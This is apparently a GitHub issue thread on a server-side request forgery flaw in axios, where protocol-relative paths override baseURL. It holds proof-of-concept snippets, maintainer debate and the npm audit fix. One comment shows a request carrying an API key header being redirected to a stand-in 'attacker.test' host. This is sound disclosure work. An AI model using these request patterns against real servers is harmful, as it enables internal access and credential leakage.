Server-Side Request Forgery Vulnerability
Describe the bug
Axios is vulnerable to a Server-Side Request Forgery attack caused by unexpected behaviour where requests for path relative URLS gets processed as protocol relative URLs.
This could be leveraged by an attacker to perform arbitrary requests from the server, potentially accessing internal systems or exfiltrating sensitive data.
To Reproduce
In this vulnerable code snippet, the developer intended to invoke a path relative to the base URL, however it allows an attacker to craft a malicious protocol-relative URL which is then requested by the server. Given protocol-relative URLs are not relevant server-side as there is no protocol to be relative to, the expected result would be an error. Instead, a valid URL is produced and requested.
Example Vulnerable Code
const axios = require('axios');
this.axios = axios.create({
baseURL: 'https://userapi.example.com',
});
//userId = '12345';
userId = '/google.com'
this.axios.get(`/${userId}`).then(function (response) {
console.log(`config.baseURL: ${response.config.baseURL}`);
console.log(`config.method: ${response.config.method}`);
console.log(`config.url: ${response.config.url}`);
console.log(`res.responseUrl: ${response.request.res.responseUrl}`);
});
Expected Output (Prior to axios 1.3.2):
(node:10243) UnhandledPromiseRejectionWarning: TypeError [ERR_INVALID_URL]: Invalid URL: //example.org
Developer might also have expected:
config.baseURL: https://userapi.example.com
config.method: get
config.url: https://userapi.example.com//www.google.com/
res.responseUrl: https://userapi.example.com//www.google.com/
Observed Output:
config.baseURL: https://userapi.example.com
config.method: get
config.url: //google.com
res.responseUrl: http://www.google.com/
This behaviour is potentially unexpected and introduces the potential for attackers to request URLs on arbitrary hosts other than the host in the base URL.
The code related to parsing and preparing the URL for server-side requests, prior to version 1.3.2, only passed one argument to the Node.js URL class.
const fullPath = buildFullPath(config.baseURL, config.url);
const parsed = new URL(fullPath);
const protocol = parsed.protocol || supportedProtocols[0];
Version 1.3.2 introduced http://localhost as a base URL for relative paths (https://github.com/axios/axios/issues/5458)
const fullPath = buildFullPath(config.baseURL, config.url);
const parsed = new URL(fullPath, 'http://localhost');
const protocol = parsed.protocol || supportedProtocols[0];
As protocol-relative URLs are considered to be absolute, the config.baseURL value is ignored so protocol-relative URLs are passed to the URL class without a protocol. The node.js URL class will then prepend the protocol from 'http://localhost' to the protocol-relative URL.
For example
> new URL('//google.com', 'https://example.org');
URL {
href: 'https://google.com/',
...
}
> new URL('//google.com', 'file://example.org');
URL {
href: 'file://google.com/',
...
}
Code snippet
No response
Expected behavior
An error could be raised when attempting to request protocol-relative URLs server-side as unlike in a client-side browser session, there is no established protocol to be relative to.
Axios Version
No response
Adapter Version
No response
Browser
No response
Browser Version
No response
Node.js Version
No response
OS
No response
Additional Library Versions
No response
Additional context/Screenshots
No response
Is there a fix plan for this? v1.7.3 is not fixing this and it's blocking releasing one of our libraries.
Hi. Trying to understand this vulnerability better.
Mixed use of relative and absolute (including, protocol-relative) URLs
Axios will see //google.com as an argument to get call, since the text substitution will occur outside of the function call and that's an acceptable value, isn't it? It's quite possible that the same client instance could be used for fetching both relative URL and absolute URL based resources.
userId = '/google.com'
this.axios.get(`/${userId}`);
Of course this may not align with application developer's expectation (ie. to be relative path). But it feels like that's not Axios' problem to solve. Axios could potentially warn this use pattern (ie. use of baseUrl with non relative path), but it seems too harsh for axios to dictate this.
Impact of using protocol-relative URLs
The following code kinda forces http protocol if protocol-relative URLs are used.
const parsed = new URL(fullPath, 'http://localhost');
Is this the main concern here? I guess an attacker could potentially move away from non-http protocol (eg. local file location, deemed safe) to http protocol to deliver remotely located malicious files into the target system.
Expected behavior
An error could be raised when attempting to request protocol-relative URLs server-side as unlike in a client-side browser session, there is no established protocol to be relative to.
If this is indeed a good solution, then isAbsoluteURL could be updated to ignore protocol-relative URLs to produce this output. Please note config.url is set by the _request implementation,, so it will be still //google.com. But requested url will be combined url.
config.baseURL: https://userapi.example.com
config.method: get
config.url: //google.com
res.responseUrl: https://userapi.example.com//google.com
Guess most of us are here due to Snyk's action lately ;) ... Well, the enterprise-y us.
I made a draft PR to materialize @SilverSting's idea above. Do lmk if that works out in the long-term, fellas
Edit: regression test added
Several auditing tools are reporting this issue as of today, including npm audit.
https://github.com/advisories/GHSA-8hc4-vh64-cxmj
This vuln report seems like alerting.. all the alerts.. But I'm quite confused (maybe not enough caffeine today)
Question: "using unsanitized input/data as string in URLs" made towards elsewhere is insanely dangerous in any way? on any library any place and any location. I somehow cannot thing that axios is wrong here.
const unsanitizedVar = '/google.com'; // was expecting something like '12345'
const ANY_HTTP_LIBRARY = require(something, maybe axios);
const ANY_EXTERNAL_ENDPOINT = 'https://somewhere.innocent';
this.httpclient = ANY_HTTP_LIBRARY.create({
baseURL: ANY_EXTERNAL_ENDPOINT,
});
// Isn't >> THIS -the imaginary use case below- << the problem?
this.httpclient.request({ url: `/${unsanitizedVar}` });
even if you can prevent this value from diverting request to another target, you cannot prevent it from doing other kind of malicious things with the assumptions of this vuln report (and the fix).. with my current understanding of it.
Axios's (current) baseURL behavior seems like a similar behavior of src= tags of a browser. Which is one possible, and (IMO) well defined design. (not saying "[in]correct"|"good"/"bad")
PS. (edit) Tested browser behavior, using fetch, when on "https://my.site";
> fetch('/12345').then(r => console.log('resp', r.url));
..
[XHR] GET https://my.site/12345
> fetch('//www.google.com').then(r => console.log('resp', r.url));
..
[XHR] GET https://www.google.com
Same Vuln report would apply to (the design of?) fetch of browsers?
Is there any way that we can fix this issue, as it is showing no patch available.
@rrkoshta123
- See at the top of this issue, which points to https://github.com/axios/axios/pull/6539
Hi @MikeMcC399, Thanks for replying. Let's wait for pull request to be merged.
Axios's (current) baseURL behavior seems like a similar behavior of
src=tags of a browser. Which is one possible, and (IMO) well defined design. (not saying "[in]correct"|"good"/"bad")...
Same Vuln report would apply to (the design of?)
fetchof browsers?
The problem here isn't necessarily the behaviour of axios in the browser, it's the behaviour of it in a server-side context where the server is making requests from a private network.
As the report says, in a server-side context, there is no base protocol for a protocol-relative URL to be relative to. Therefore, a protocol-relative URL should not be considered valid in that context.
How the attack could be constructed is sort of secondary to that. If it doesn't make sense in that context, we should disallow it.
@hainenber
Considering @furkanmustafa and @petewalker comments, wouldn't it be the case to update your PR to check if the code is running on server side? So the browser behavior would remain the same...
I am looking into it
Please check the note in the PR
@hainenber I see that #6539 was merged, doesn't that make the behavior of axios is inconsistent with https://datatracker.ietf.org/doc/html/rfc3986#section-4.2 ?
Yes, thats correct. Either me or Jay will need to come up with following PRs to enable protocol relative URLs on client-side only.
Edit: updated with correct word. Thanks Cedric!
@hainenber :
to disable protocol relative URLs on client-side only.
To enable?
Oh yeah, I accidentally a word there. Thanks for the correction!
It would be lovely if a patch fix version could be published since npm audit is now reporting this as a vulnerability and is attempting to recommend rolling me back to version 1.3.1...
Updated the public advisory accordingly - https://github.com/github/advisory-database/pull/4685
will audit tools automatically reference this new version as the fixed one?
will audit tools automatically reference this new version as the fixed one?
Yes. Snyk and GitHub both have it referenced.
About handling of relative URLs, in respect of a predefined base URL, could be a design decision. As @levpachmanov shared above, the expected behavior has been defined in an RFC.
It's of course OK to change the designed behavior of Axios. Axios does not state any guarantee towards RFC compliance (afaik). But, the vulnerability report is incorrect IMO, and making this change blindly just for this vulnerability report doesn't make sense.
This vulnerability assumes that unsanitized input being passed around for external network access. And also has nothing to do with "protocol-relativeness".
The problem here isn't necessarily the behaviour of axios in the browser, it's the behaviour of it in a server-side context where the server is making requests from a private network.
The private-ness of the network does not matter if it is a "server" or "client"(browser), they BOTH reside in private networks. I don't think such a distinction would ever make sense.
As the report says, in a server-side context, there is no base protocol for a protocol-relative URL to be relative to. Therefore, a protocol-relative URL should not be considered valid in that context.
How the attack could be constructed is sort of secondary to that. If it doesn't make sense in that context, we should disallow it.
A design change discussion, of course is up to library's designers. I don't have a comment on that.
Although, all other mechanisms behave accordingly, in the context of predefined baseURL. When there is no predefined baseURL, it should be OK to reject as Invalid URL.
Try Node JS's URL if you like, for a second confirmation.
new URL('24791') // TypeError: Invalid URL
new URL('/24791') // TypeError: Invalid URL
new URL('//24791') // TypeError: Invalid URL
const userApiBase = 'https://my.api.local/users/';
new URL('24791', userApiBase) // https://my.api.local/users/24791
new URL('/24791', userApiBase) // https://my.api.local/24791
new URL('//24791', userApiBase) // https://0.0.96.215/
new URL('//www.google.com', userApiBase) // https://www.google.com/
if Axios uses standard URL class that is provided by Node JS or Browser for calculating the target, the behavior will be as above. (Which ~~is~~ was the current status, before MR #6539 I believe)
On the security aspect of this,
- PROBLEM DEFINITION: an advesary being able to divert the request into another host than intended, by providing malicious input
- IN SERVER CONTEXT: it connects to unintended hosts and potentially sends/receive data there
- IN CLIENT CONTEXT: 100% exactly the same of what happens on "SERVER CONTEXT".
- CAUSE DEFINITION: Unsanitized input, on >> APPLICATION << code. Library has no play in this.
It will not remotely matter if the protocol-relative behavior is carefully cherry-pick removed on a specific execution environment ("server context"), given other kind of inputs.
Let me share some examples; the given example was this;
this.axios = axios.create({
baseURL: 'https://userapi.example.com',
});
//userId = '12345';
userId = '/google.com'
this.axios.get(`/${userId}`) // <= buggy application code
// before MR #6539 = `https://google.com`;
// after MR #6539 = `https://userapi.example.com/google.com`;
what if my code was;
this.axios = axios.create({
baseURL: 'https://userapi.example.com/',
});
//userId = '12345';
userId = 'http://localhost:8080'
this.axios.get(userId) // <= buggy application code
// before MR #6539 = `http://localhost:8080`;
// after MR #6539 = `http://localhost:8080`;
did the developer expect that this should have gone to https://userapi.example.com/http://localhost:8080 ?
as you can see above, if I omit a /. I cannot summon this security fix that the library has now. That's not how things work.
>> I << am, -as an application developer-, at fault, for not sanitizing my input. Not the library. Not the standard way of things work. Same thing can be demonstrated for all kinds of libraries, all network protocols, "connection strings", and so on. Do not put unsanitized input. It's not library's work to make it "safer", not not possible for library to make is "safe"/"safer" any way.
I hope I made my point clear. In short, introducing this behavior inconsistency to Axios is not necessary, is contuary to standards, and is NOT improving any security.
(Edit: formatting, example fix)
@justinmchase
It would be lovely if a patch fix version could be published since
npm auditis now reporting this as a vulnerability and is attempting to recommend rolling me back to version1.3.1...
If you re-run npm audit you should now see a prompt without the --force option.
npm audit fix should update to the new release 1.7.4:
axios 1.3.2 - 1.7.3
Severity: high
Server-Side Request Forgery in axios - https://github.com/advisories/GHSA-8hc4-vh64-cxmj
fix available via `npm audit fix`
@justinmchase what you could have is npm cache not knowing that axios has released a version v1.7.4. You can run npm cache clear --force and run npm audit again; hopefully, that should identify and resolve the issue and then running npm audit fix should resolve it :)
Hey, I got the update thanks!
I think I literally caught it between the release and the fix. I just got super unlucky, thank you for the super prompt release.
import axios from "axios";
const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, });
// const userId = "123"; const userId = "http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
This is still reported by Polaris for axios v1.8.3.